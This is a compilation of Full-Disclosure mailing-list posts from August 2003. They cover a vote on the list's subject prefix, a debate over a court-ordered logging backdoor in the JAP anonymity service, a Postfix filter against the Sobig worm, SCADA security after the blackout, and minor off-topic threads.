Subject: RE: [inbox] Re: Fwd: Re: [Full-Disclosure] Administrivia:
Binary Executables w/o Source


"Jason Coombs" <[EMAIL PROTECTED]>, whose input is usually
intelligent, considered and well-reasoned, chose to fall from his
pedestal thus:

...

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!

[Joshua Vince]

#2 or #3.  How are we supposed to filter emails in our inbox w/o it??

-Original Message-
From: 8tImER [mailto:[EMAIL PROTECTED] 
Sent: Thursday, August 21, 2003 4:02 PM
To: [EMAIL PROTECTED]
Subject: Re: [Full-Disclosure] Subject prefix changing! READ THIS!
SURVEY!!


My vote goes to choice #1. :]

-- 
Greetz,
 8tImERmailto:[EMAIL PROTECTED]
   GPG Key-ID: 0xADD46137

Originaltext:
Am 21.08.2003 um 19:43:02 hast du geschrieben:

> Hey folks,

> ALL LIST MEMBERS ARE ENCOURAGED TO RESPOND AND MAKE A CHOICE AS TO HOW

> THEY WANT THIS BASIC FUNCTION OF THE LIST TO CONTINUE OPERATING.

> The subject header is going to change.

> This is a survey to see whether people want:

> 1. To have no subject prefix, that is, we remove [Full-Disclosure] or
> 2. To shorten the subject prefix from [Full-Disclosure] to [FD]
> or 
> 3. Do nothing

> 1. The first choice is preferable for me and, I would hope, for most 
> folks. Len says he didn't really want it when he started the list 
> anyways.  So we are actually going to change it now.

> 2. Choice two may be preferable for people who can only filter their 
> incoming messages based on the subject prefix.  So, if you WANT there 
> to continue to be a subject prefix, SPEAK UP!!!

> 3. Choice three sucks and if anyone wants this SPEAK UP so we know 
> just how many people want this.  This is the least preferrable as it 
> clutters the Subject header and makes the list harder to read through 
> for those of us using a text based e-mail client.

> For those of you using procmail or a compatible filter, a good match 
> for Full-Disclosure that relies on headers you will always see in list

> messages goes like this:

> :0:
> * [EMAIL PROTECTED]
> full-disclosure

> That matches this header:

> Sender: [EMAIL PROTECTED]

> Alternately, you can tell your Pegasus/Mozilla/Outlook/OE/Whatever
> to match on this header.


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!

[Bernhard Seibold]

It would be great if everybody could decide that on his/her own, but
if it's not possible to implement that, i vote #2 :)


Thursday, August 21, 2003, 7:43:02 PM, you wrote:

CC> Hey folks,

CC> ALL LIST MEMBERS ARE ENCOURAGED TO RESPOND AND MAKE A CHOICE AS TO HOW
CC> THEY WANT THIS BASIC FUNCTION OF THE LIST TO CONTINUE OPERATING. 

CC> The subject header is going to change.

CC> This is a survey to see whether people want:

CC> 1. To have no subject prefix, that is, we remove [Full-Disclosure]
CC> or
CC> 2. To shorten the subject prefix from [Full-Disclosure] to [FD]
CC> or 
CC> 3. Do nothing

CC> 1. The first choice is preferable for me and, I would hope, for most folks. 
CC> Len says he didn't really want it when he started the list anyways.  So we are
CC> actually going to change it now.

CC> 2. Choice two may be preferable for people who can only filter their incoming
CC> messages based on the subject prefix.  So, if you WANT there to continue
CC> to be a subject prefix, SPEAK UP!!!

CC> 3. Choice three sucks and if anyone wants this SPEAK UP so we know just
CC> how many people want this.  This is the least preferrable as it clutters
CC> the Subject header and makes the list harder to read through for those of us
CC> using a text based e-mail client.

CC> For those of you using procmail or a compatible filter, a good match
CC> for Full-Disclosure that relies on headers you will always see in
CC> list messages goes like this:

CC> :0:
CC> * [EMAIL PROTECTED]
CC> full-disclosure

CC> That matches this header:

CC> Sender: [EMAIL PROTECTED]

CC> Alternately, you can tell your Pegasus/Mozilla/Outlook/OE/Whatever
CC> to match on this header.




-- 
Best regards,
 Bernhardmailto:[EMAIL PROTECTED]

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re[2]: [Full-Disclosure] JAP back doored

[Bernhard Seibold]

Hi all,

I totally agree on that.

And by the way you should think about two things:

1) The site they're logging provides illegal content. AFAIK it's
child-pornography. As long as I can be sure that only sites with
illegal content get logged I can trust that service.

2) If they had resisted, the court would have shut down the server.

Thursday, August 21, 2003, 9:23:04 PM, you wrote:

FW> "Drew Copley" <[EMAIL PROTECTED]> writes:

>> Why is the state of Germany trojanizing applications which may be
>> run by anyone on the planet?

FW> Why is the U.S. government interfering with the publication of
FW> security advisories if the corresponding software is being run
FW> throughout the world?

FW> The German government funds the AN.ON project, but allowed for a great
FW> deal of independence.  Naturally, this independence does not extend to
FW> the law, thanks to separation of powers.  Now a judge has forced the
FW> operators to implement a surveillance interface, which is possible
FW> because of a design weakness.  But that's just the beginning of the
FW> legal process.  The project has announced that it plans to fight, but
FW> within the legal system.

>> How is it they believe they have a right to trojanize someone
>> outside of Germany?

FW> Nobody forces you to use the German service if you don't trust the
FW> operators or (thanks to recent events) German law enforcement.

>> This is blatantly illegal in just about every country outside of
>> Germany.  Literally. 

FW> No, it isn't.  Most countries with communication infrastructure have
FW> laws that regulate law enforcement access.  This is not a "stupid
FW> local law" issue.

FW> Your country is eavesdropping foreign communication as well.

>> Or, do they believe they are superior to other countries, and they may
>> invade at will?

FW> Please check the facts.  Germany doesn't an operate eavesdropping base
FW> in the U.S., but the U.S. do in Germany.

FW> ___
FW> Full-Disclosure - We believe in it.
FW> Charter: http://lists.netsys.com/full-disclosure-charter.html



-- 
Best regards,
 Bernhardmailto:[EMAIL PROTECTED]

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Re: Filtering sobig with postfix

[Bojan Zdrnja]

> -Original Message-
> From: [EMAIL PROTECTED] 
> [mailto:[EMAIL PROTECTED] On Behalf Of 
> [EMAIL PROTECTED]
> Sent: Friday, 22 August 2003 12:06 a.m.
> To: [EMAIL PROTECTED]; [EMAIL PROTECTED]
> Subject: AW: [Full-Disclosure] Re: Filtering sobig with postfix
> 
> 
> > Yep, as the OP is using postfix, he could use the 
> > header_checks directive,
> > which can identify MIME headers, so he can easily stop this worm.
> > Just check for Content-Disposition header and block 
> > everything with .pif in
> > filename.
> 
> Thought about that, but doesn't quite work. The headers only say
> multipart/mime. The .pif part comes later in the attachment.

Postfix's header_check filter understands multi-line headers, including MIME
headers in the message body.

So, this should actually work in main.cf:

header_checks = regexp:/etc/postfix/header_checks


And in /etc/postfix/header_checks put:

/filename=.*(your_details|your_document|document_all).pif/ REJECT

You might want to reject all .pif files, and also:

/(Virus found|VIRUS ALERT)/ DISCARD


To discard all those messages originating from improperly configured MTA's,
which were able to detect Sobig-F, but which still send notification to
faked from: address.

After you edit that file just issue:

# /usr/sbin/postmap /etc/postfix/header_checks


And I believe you're ready to go :)

Regards,

Bojan Zdrnja

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Win32 Device Drivers Communication Vulnerabilities + PoC for Symantec Norton AntiVirus '2002 (probably all versions) Device Driver

[[SEC-LABS TEAM]]

Hi,
Yes You have right, we've got a lot of response after the publication, and
we know that title should be different
(if You read the paper there is an section "The Topic Problem" bla bla), yes
like You said m$ is not guilty for that, only
software (many many device drivers are vulnerable to this type of attacks) -
but that's another story.

I hope i have answer for your questions,
Regards,
Lord YuP /Sec-Labs  ^ TKT

- - - - - - - - - - - - - -
http://sec-labs.hack.pl


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] SCADA providers say security not our problem

[Bernie, CTA]

Right on target Michael, and exactly the point most of us in 
this and related threads have pivoted from. The Blackout was the 
result of poor or nonexistent system security engineering, 
implementation, and auditing. 

We may be able to accept that the initial trigger incident that 
caused the Blackout may have very well been a broken 
transmission line and the subsequent loss of a generation plant. 
However, such an incident should have been autonomously 
identified and protection measures taken to instantaneously and 
autonomously compensate by either shutting down supply to local 
sub-stations or cities "loads", and/or shifting the load toward 
other generation power sources. Consequently, it appears that 
the trigger incident, as well as the status of operating 
parameters went unnoticed, and/or the safeguard failed to 
respond to abate the surge from cascading. 

One could only deduce that certain monitoring systems and 
devices within the Power Utilities / Sub Stations / Grids 
protection system topology were either offline (why? Blaster, 
Slammer, etc?), compromised by Blaster, Slammer, etc, or 
otherwise operationally infective in safeguarding the 
infrastructure do to the poorly throughout design and 
implementation of the security topology. 

I believe that like the HIPAA Security rules, regulations should 
be established to set Security standards which the Power 
Utilities, as well as and Gas, Water should be held to comply 
with. This is critical infrastructure not. Of course, such 
standards and regulations should include all covered-entities, 
(just like HIPAA), meaning software and hardware vendors.  It 
time to produce secure software and hardware, and yes get paid 
for it.

I can recall back in the late 70s designing the kernel for a 
microprocessor controlled baby incubator. (I think it was 8080A 
based) One of the TOP design requirements of the safeguard 
subsystem was to prevent any potential failure from accidentally 
frying its occupants. This requirement became not only a 
critical design objective but also a condition of testing and an 
element of final QC. 

We designed and wrote our programs, in assembly, with this 
requirement, as well as others less critical to the maintenance 
of the health and safety of the baby, as a test condition for 
every functional operation. If the software's function, process, 
or resulting action failed, or system component failed, to 
satisfy this safety condition, then it was back to redesign. 
Ultimately, the security (e.g. analysis of and response to: 
Threats, Vulnerabilities, Unexpected, Unauthorized or Illegal 
Actions) of this critical care system was paramount, and all 
engineers, programmers, technicians, assemblers, QC, as well as 
executives were held accountable. 

The same system security engineering practice should be applied 
to the design and implementation of our Nations / Worlds 
critical infrastructure, requiring 100% compliance or no go. 

Yes, such a pragmatic system security approach will cost more 
money. Hell, with such design constraints I wouldn't lift a 
finger to design a circuit or program one line of code unless I 
was well paid. Nonetheless, it must be done. 
Needless to say, I would not be the least surprised if the 
Utilities involved soon offer up a fall guy/gal to take the heat 
and spotlight off of them, as they do not want the public to 
know of the security inadequacies, or more regulations 
controlling there cash flow. 


On 20 Aug 2003 at 22:41, Michael Scheidell wrote:

> The Factory automation and SCADA systems providers have not shown
> much willingness to take any responsibility for the use (or
> misuse) of their systems, having washed their hands of the
> security and stability functions once the system is declared 'on
> line', saying that the security of their systems in ow in the
> hands of the end-user.
> 
> This attitude amoung major manufactures of FA and SCADA systems
> has in the past lead to break downs ("see Ohio Power plant shut
> down by slammer worm" http://www.security-focus.com/news/6767 ) 
> 
> I have contacts in the FA/SCADA field, having run the worlds
> largest distributor of QNX (an RTOS used by FA/SCADA systems) and
> having been the Director of Business Development for VenturCom
> (they have a product called 'RTX' which is an RTOS kernel for
> Windows, and they 'invented' embedded NT) 
> 
> During my years in both companies I have seen how and what
> Windows can be used for (and what its forced to do) and I can
> tell you by experience that while DCOM on NT may not be used
> directly for real time control functions, it is in fact used to
> do supervisory and monitoring ('traffic cop') type functions. 
> 
> Originally, FA and SCADA systems ran on proprietary backbones
> like the Allen-Bradley links, 4 wire control and signaling
> systems.
> 
> With the advent of 10/100 and 1GB switched networking, many
> control systems are now using ethernet for control.  Its cheaper
> to install and 

[Full-Disclosure] Re: Full-Disclosure digest, Vol 1 #1052 - 29 msgs

[Arthur Corliss]

> Date: Thu, 21 Aug 2003 10:43:02 -0700
> From: Chris Cappuccio <[EMAIL PROTECTED]>
> To: [EMAIL PROTECTED]
> Subject: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!
>
> Hey folks,
>
> ALL LIST MEMBERS ARE ENCOURAGED TO RESPOND AND MAKE A CHOICE AS TO HOW
> THEY WANT THIS BASIC FUNCTION OF THE LIST TO CONTINUE OPERATING.
>
> The subject header is going to change.
>
> This is a survey to see whether people want:
>
> 1. To have no subject prefix, that is, we remove [Full-Disclosure]
> or
> 2. To shorten the subject prefix from [Full-Disclosure] to [FD]
> or
> 3. Do nothing
>
> 1. The first choice is preferable for me and, I would hope, for most folks.
> Len says he didn't really want it when he started the list anyways.  So we are
> actually going to change it now.
>
> 2. Choice two may be preferable for people who can only filter their incoming
> messages based on the subject prefix.  So, if you WANT there to continue
> to be a subject prefix, SPEAK UP!!!
>
> 3. Choice three sucks and if anyone wants this SPEAK UP so we know just
> how many people want this.  This is the least preferrable as it clutters
> the Subject header and makes the list harder to read through for those of us
> using a text based e-mail client.

For what it's worth, I vote for #3.  I don't really pay that close attention
to sender address, and having the prefix in the subject makes it really easy
to identify list mail for direct correspondence.  I suppose I could live with
#2 if I had to.

--Arthur Corliss
  Bolverk's Lair -- http://arthur.corlissfamily.org/
  Digital Mages -- http://www.digitalmages.com/
  "Live Free or Die, the Only Way to Live" -- NH State Motto

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Google Private IP is 10.7.0.73 !!!!!!

[Nicolas Cartron]

On 22/08/03 at 00:40, Gaurav Kumar ([EMAIL PROTECTED]) wrote :

> Hello friends! 
>
> I have found private ip address used by google servers. here are the
> details. 
> [...] 
> This 10.7.0.73 is google private ip address. 

Ouah ! 
Exciting ! 

--
Nicolas Cartron
[EMAIL PROTECTED]

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!

[Jonathan Grotegut]

My vote is for number two, to shorten to HD or to have nothing at all...

Are two votes allowed???

Jonathan 


-Original Message-
From: Chris Cappuccio [mailto:[EMAIL PROTECTED] 
Sent: Thursday, August 21, 2003 11:43 AM
To: [EMAIL PROTECTED]
Subject: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!

Hey folks,

ALL LIST MEMBERS ARE ENCOURAGED TO RESPOND AND MAKE A CHOICE AS TO HOW
THEY WANT THIS BASIC FUNCTION OF THE LIST TO CONTINUE OPERATING. 

The subject header is going to change.

This is a survey to see whether people want:

1. To have no subject prefix, that is, we remove [Full-Disclosure]
or
2. To shorten the subject prefix from [Full-Disclosure] to [FD]
or 
3. Do nothing

1. The first choice is preferable for me and, I would hope, for most
folks. 
Len says he didn't really want it when he started the list anyways.  So
we are
actually going to change it now.

2. Choice two may be preferable for people who can only filter their
incoming
messages based on the subject prefix.  So, if you WANT there to continue
to be a subject prefix, SPEAK UP!!!

3. Choice three sucks and if anyone wants this SPEAK UP so we know just
how many people want this.  This is the least preferrable as it clutters
the Subject header and makes the list harder to read through for those
of us
using a text based e-mail client.

For those of you using procmail or a compatible filter, a good match
for Full-Disclosure that relies on headers you will always see in
list messages goes like this:

:0:
* [EMAIL PROTECTED]
full-disclosure

That matches this header:

Sender: [EMAIL PROTECTED]

Alternately, you can tell your Pegasus/Mozilla/Outlook/OE/Whatever
to match on this header.

-- 
Nullum magnum ingenium sine mixtura dementiae fuit -- Seneca

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Idea

[Joshua Thomas]

Title: RE: [Full-Disclosure] Idea





> to configure or modify things one would have to
> install boot hardware and then use other boot media
> containing a shell 


Or just exploit a vulnerability in the system. Which you have made very hard to upgrade or patch. 


Doesn't sound like much of an advantage, unless you're really worried about local (physical) security of the server.



Joshua Thomas
Network Operations Engineer
PowerOne Media, Inc.
tel: 518-687-6143
[EMAIL PROTECTED] 



__
Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!
http://sbc.yahoo.com


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!

[Chris Cappuccio]

Len said there needed to be a consensus on the list before he would make
a change, but that it would be nice to change!

John Cartwright [EMAIL PROTECTED] wrote:
> oN tHU, Aug 21, 2003 at 10:43:02AM -0700, Chris Cappuccio wrote:
> > ALL LIST MEMBERS ARE ENCOURAGED TO RESPOND AND MAKE A CHOICE AS TO HOW
> > THEY WANT THIS BASIC FUNCTION OF THE LIST TO CONTINUE OPERATING. 
> 
> This has been covered several times... and we certainly *don't* 
> want this mail coming to the list. Feel free to mail myself or
> Len on the subject. Discussions about subject line prefixes are 
> off-topic for a security list.
> 
> > The subject header is going to change.
> 
> Speaking as a maintainer of this list, I can assure you that this
> is currently not the case :)
> 
> Comments off-list, please.
> 
> Cheers
> - John

-- 
Nullum magnum ingenium sine mixtura dementiae fuit -- Seneca

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!

[8tImER]

My vote goes to choice #1. :]

-- 
Greetz,
 8tImERmailto:[EMAIL PROTECTED]
   GPG Key-ID: 0xADD46137

Originaltext:
Am 21.08.2003 um 19:43:02 hast du geschrieben:

> Hey folks,

> ALL LIST MEMBERS ARE ENCOURAGED TO RESPOND AND MAKE A CHOICE AS TO HOW
> THEY WANT THIS BASIC FUNCTION OF THE LIST TO CONTINUE OPERATING. 

> The subject header is going to change.

> This is a survey to see whether people want:

> 1. To have no subject prefix, that is, we remove [Full-Disclosure]
> or
> 2. To shorten the subject prefix from [Full-Disclosure] to [FD]
> or 
> 3. Do nothing

> 1. The first choice is preferable for me and, I would hope, for most folks.
> Len says he didn't really want it when he started the list anyways.  So we are
> actually going to change it now.

> 2. Choice two may be preferable for people who can only filter their incoming
> messages based on the subject prefix.  So, if you WANT there to continue
> to be a subject prefix, SPEAK UP!!!

> 3. Choice three sucks and if anyone wants this SPEAK UP so we know just
> how many people want this.  This is the least preferrable as it clutters
> the Subject header and makes the list harder to read through for those of us
> using a text based e-mail client.

> For those of you using procmail or a compatible filter, a good match
> for Full-Disclosure that relies on headers you will always see in
> list messages goes like this:

> :0:
> * [EMAIL PROTECTED]
> full-disclosure

> That matches this header:

> Sender: [EMAIL PROTECTED]

> Alternately, you can tell your Pegasus/Mozilla/Outlook/OE/Whatever
> to match on this header.


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!

[John Cartwright]

oN tHU, Aug 21, 2003 at 10:43:02AM -0700, Chris Cappuccio wrote:
> ALL LIST MEMBERS ARE ENCOURAGED TO RESPOND AND MAKE A CHOICE AS TO HOW
> THEY WANT THIS BASIC FUNCTION OF THE LIST TO CONTINUE OPERATING. 

This has been covered several times... and we certainly *don't* 
want this mail coming to the list. Feel free to mail myself or
Len on the subject. Discussions about subject line prefixes are 
off-topic for a security list.

> The subject header is going to change.

Speaking as a maintainer of this list, I can assure you that this
is currently not the case :)

Comments off-list, please.

Cheers
- John

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] HP Tandem NonStop servers and other off topic crap

[Kurt Seifried]

This is now "How do I do a pen-test" list? Or is it "non-stop dicussion of
useless details about well known issues that nobody (except the 5 posters)
care about" list? I'm confused, can someone resend me the list charter?
Moderation isn't desired, but I think this unending flood of crap is even
less desired. Show some restraint people, you're acting like monkeys at the
zoo (not the smart monkeys either, more like the ones that got bumped on the
head while being captured).


Kurt Seifried, [EMAIL PROTECTED]
A15B BEE5 B391 B9AD B0EF
AEB0 AD63 0B4E AD56 E574
http://seifried.org/security/

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] Re: Popular Net anonymity service back-doored

[Thomas C. Greene]

I agree that the dirty work has to be done on the proxy, but it's reasonable 
to imagine that the client update was issued to maintain compatibility with 
whatever was done to the proxy software. Maybe the two are unrelated as the 
group says, but how can I trust them when they continue to soft-pedal the 
security implications of the back door?

Yes, the code sort of shouts at you, and this may well be a deliberate heads 
up.  However, the group is still in denial, insisting that their service is 
secure (see the press release linked in the Register story). It's not secure, 
and claiming that it is taints anything else they may be doing on behalf of 
users. They're *still* saying it's impossible for anyone to intercept users' 
traffic or identify them. That simply isn't true.  

It's likely were legally prevented from issuing a clear warning, which is why 
I say they should have taken the service down in protest.  I don't know 
German law, but I'd be surprised if the courts can force you to provide a 
communications service just so the Feds can use it.  

Leaving a hint in the source and waiting for someone to call them on it may be 
a legal strategem, but it's not a good way of maintaining user trust.  It 
took too long for this to become public.  A better way to maintain trust 
would be to stage a protest shutdown, or, if that's legally risky, a silent 
shutdown and a subsequent leak to the press.  No decent reporter would reveal 
their source in a case like this, and approaching a journo based in another 
country would add another layer of protection. 

chrz,
t.

On Thursday 21 August 2003 11:38, Florian Weimer wrote:
> "Thomas C. Greene " <[EMAIL PROTECTED]> writes:
> > traffic might be going straight to Big Brother, right? Wrong. After
> > taking the service down for a few days with the explanation that the
> > interruption was "due to a hardware failure", the operators then required
> > users to install an "upgraded version" (ie. a back-doored version) of the
> > app to continue using the service.
>
> This is technically incorrect.  As far as I know, the client update is
> completely unrelated.
>
> The logging functionality has been implemented in the mixes
> themselves, otherwise you would be able to circumvent it by using a
> different client.  The CVS commit occured on 2003-06-27.  Logging is
> implemented this way: if the last mix in the cascade (which sees the
> request in the clear) detects a suspicious request, it is logged
> together with an ID.  The ID is transmitted (through the cascade) to
> the first mix, which logs the ID and the IP address.  Combining the
> two log files, it is possible to collapse the cascade and backtrack
> the requests.  This exploits that TU Dresden operates both the first
> and last mix in the Dresden--Dresden cascade (which is the only that
> works reliably, AFAIK).
>
> An employee of TU Dresden described this scheme in an interview with
> Heise Online, a German online news site, back in October 2001.  He
> announced an implementation within the next six months, but I don't
> know at the moment if he was speaking for the JAP project as a whole,
> or if he was just expressing his own ideas.
>
> According to the news sources I have read, the court requested
> surveillance based on the target IP address.  However, the source code
> does not contain code to monitor specific (target) IP addresses, but
> an elaborate URL screening facility, based on regular expressions.
> Just by specifying ".*", it should be possible to log all requests
> (and the corresponding IP addresses).  I don't know why the source
> code doesn't implement the surveillance based on IP addresses, as the
> court allegedly requested.
>
> > "What was the alternative? Shutting down the service? The security
> > apparatchiks would have appreciated that - anonymity in the Internet
> > and especially AN.ON are a thorn in their side anyway."
>
> Note that this kind of target-based monitoring would be much harder on
> the plain Internet unless the remote site is willing to cooperate.  A
> broken anonymizer makes this type of surveillance quite easy.
>
> > But that's not the point. Disclosure is the point. The JAP Web site still
> > claims that anonymity is sacrosanct: "No one, not anyone from outside,
> > not any of the other users, not even the provider of the intermediary
> > service can determine which connection belongs to which user."
>
> The official declaration ("Selbstverpflichtung") of the mixes, which
> promises that neither logging will be enabled nor backdoors will be
> implemented, hasn't been updated either.
>
> However, perhaps the JAP team at TU Dresden hadn't much choice.  I
> haven't seen the court order, but I could imagine that they weren't
> allowed to inform the users because it would have harmed the criminal
> investigation.  Following the order while fighting it within the legal
> system is perhaps a wiser choice than just resisting it (and thus
> breaking the law yourself).  But I 

RE: [Full-Disclosure] Re: Popular Net anonymity service back-doored

[Drew Copley]

> -Original Message-
> From: [EMAIL PROTECTED] 
> [mailto:[EMAIL PROTECTED] On Behalf Of 
> Florian Weimer
> Sent: Thursday, August 21, 2003 11:39 AM
> To: [EMAIL PROTECTED]; [EMAIL PROTECTED]
> Cc: Thomas C. Greene 
> Subject: [Full-Disclosure] Re: Popular Net anonymity service 
> back-doored
> 
> 
> -BEGIN PGP SIGNED MESSAGE-
> Hash: SHA1
> 
> "Thomas C. Greene " <[EMAIL PROTECTED]> writes:



> 
> However, perhaps the JAP team at TU Dresden hadn't much 
> choice.  I haven't seen the court order, but I could imagine 
> that they weren't allowed to inform the users because it 
> would have harmed the criminal investigation.  Following the 
> order while fighting it within the legal system is perhaps a 
> wiser choice than just resisting it (and thus breaking the 
> law yourself).  But I agree that it takes them awfully long 
> to update their web site, now that some information is public.


I would think, I would know, there would be a moral obligation to tell
their users. Moral... A conscience obligation, an obligation of
conscience.

At the very least, they could have exposed this anonymously on the
Usenet or someplace. (Indeed...)

Regardless, it the German authorities who used the authority of the
German State to do this. It is the German State which is culpable in
this situation. 

Who cares if they watch their own wires? But, they have no right to put
code on people's systems outside of Germany. If they do not have this
right inside of Germany, I do not care.

I do not care if this causes them a problem.

There is no justification of the means to an end. They have absolutely
no jurisdiction in the US. Are they saying they do not believe in
boundaries anymore? Are we allowed to hack all of their pedophiles and
Neo-Nazis as we wish? They are breaking the law and we have no authority
to hack them. Are they giving us this authority? I think not.

But, this is the message they have sent with this.

As for the errors... Thomas Greene lost my trust last year when he
started to lie about the entire security community and made obnoxious
and pervasive comments about where security vulnerabilities come from...
His misleading of the public has affected a great many of people to this
very day. 

My trust with him is broken by his own gross violations.


> 
> Finally, they could have avoided all the hassle if they 
> hadn't published the source code.  Why did they publish?  I 
> don't believe it's an accident.
> 
> For BUGTRAQ readers: Symantec strips message headers.  The original
> To: and Cc: are:
> 
> To: [EMAIL PROTECTED], [EMAIL PROTECTED]
> Cc: "Thomas C. Greene " <[EMAIL PROTECTED]> 
> -BEGIN PGP SIGNATURE-
> Version: GnuPG v1.3.2-cvs (GNU/Linux)
> 
> iQEVAwUBP0URumOpx4pWo0FrAQLTXQf/aJLMGYtvLpzbB8BtYNFqdoHEQlu/QUmv
> gzouWH76cIL6zVJLK7eAM6nNI29itfOm/mJRfAJvU5B7FVAbFfPyhwEuBr4bUCYj
> wkIwdM0tQihu+SBdIEIKdrSlfpNbstGJiKkQkPPpa2EREqqVYLadGk95KughJ1AG
> f9HJzUG5jbPS/FEXrEYSqudJeVQPVPGUdmXbl0ayq8y2+AtZnk9NCJIFbXlBXf9P
> /zK+AoORdDl6t8fzKfUwi/qTu4qads/+eHklAbaKo2EyghjquKubTQdWpQodpt17
> 2CB/D25ULum2e8LWN6el2AW+PjkyaxeVBenKQV8Rw9Zv2JLenZsWrQ==
> =sN0C
> -END PGP SIGNATURE-
> 
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] Idea

[D B]

i have always had an idea but never any place to
try it

i would like people with experience to tell me what
they  think of it

assuming a  unix / linux operating system as a server

install the services  get them configured
...remove all booting hardware except the drive 
then change the roots shell to /bin/false and and
remove all working shells from the OS

to configure or modify things one would have to
install boot hardware and then use other boot media
containing a shell 

only problem is ...i dont know of anything service
wise that requires little to no modification on a
regular basis

firewall ...router ?...ftp server ?

k ...flame on 

D B



__
Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!
http://sbc.yahoo.com

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] JAP back doored

[Florian Weimer]

"Drew Copley" <[EMAIL PROTECTED]> writes:

> Why is the state of Germany trojanizing applications which may be
> run by anyone on the planet?

Why is the U.S. government interfering with the publication of
security advisories if the corresponding software is being run
throughout the world?

The German government funds the AN.ON project, but allowed for a great
deal of independence.  Naturally, this independence does not extend to
the law, thanks to separation of powers.  Now a judge has forced the
operators to implement a surveillance interface, which is possible
because of a design weakness.  But that's just the beginning of the
legal process.  The project has announced that it plans to fight, but
within the legal system.

> How is it they believe they have a right to trojanize someone
> outside of Germany?

Nobody forces you to use the German service if you don't trust the
operators or (thanks to recent events) German law enforcement.

> This is blatantly illegal in just about every country outside of
> Germany.  Literally. 

No, it isn't.  Most countries with communication infrastructure have
laws that regulate law enforcement access.  This is not a "stupid
local law" issue.

Your country is eavesdropping foreign communication as well.

> Or, do they believe they are superior to other countries, and they may
> invade at will?

Please check the facts.  Germany doesn't an operate eavesdropping base
in the U.S., but the U.S. do in Germany.

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!

[Richard Spiers]

I agree with the need for the subject to change, but would much prefer
option 2. It makes my life easier ;p.

- Original Message - 
From: "Chris Cappuccio" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Thursday, August 21, 2003 7:43 PM
Subject: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!


> Hey folks,
>
> ALL LIST MEMBERS ARE ENCOURAGED TO RESPOND AND MAKE A CHOICE AS TO HOW
> THEY WANT THIS BASIC FUNCTION OF THE LIST TO CONTINUE OPERATING.
>
> The subject header is going to change.
>
> This is a survey to see whether people want:
>
> 1. To have no subject prefix, that is, we remove [Full-Disclosure]
> or
> 2. To shorten the subject prefix from [Full-Disclosure] to [FD]
> or
> 3. Do nothing
>
> 1. The first choice is preferable for me and, I would hope, for most
folks.
> Len says he didn't really want it when he started the list anyways.  So we
are
> actually going to change it now.
>
> 2. Choice two may be preferable for people who can only filter their
incoming
> messages based on the subject prefix.  So, if you WANT there to continue
> to be a subject prefix, SPEAK UP!!!
>
> 3. Choice three sucks and if anyone wants this SPEAK UP so we know just
> how many people want this.  This is the least preferrable as it clutters
> the Subject header and makes the list harder to read through for those of
us
> using a text based e-mail client.
>
> For those of you using procmail or a compatible filter, a good match
> for Full-Disclosure that relies on headers you will always see in
> list messages goes like this:
>
> :0:
> * [EMAIL PROTECTED]
> full-disclosure
>
> That matches this header:
>
> Sender: [EMAIL PROTECTED]
>
> Alternately, you can tell your Pegasus/Mozilla/Outlook/OE/Whatever
> to match on this header.
>
> -- 
> Nullum magnum ingenium sine mixtura dementiae fuit -- Seneca
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] Google Private IP is 10.7.0.73 !!!!!!

[Gaurav Kumar]

-BEGIN PGP SIGNED MESSAGE-Hash: 
SHA1
 
Hello friends!
 
I have found private ip address used by google 
servers. here are thedetails.
 
make sure you have google toolbar 
installed.
 
1. go to www.showmyip.com2. it will show your ip 
address.3. now right click and select Translate Page4. it will now show 
your ip address in this format 1.2.3.4, unknown5. Now again right click and 
select Translate Page6. this time you will get google private ip address. 
the format is10.7.0.73,1.2.3.4,unknown
 
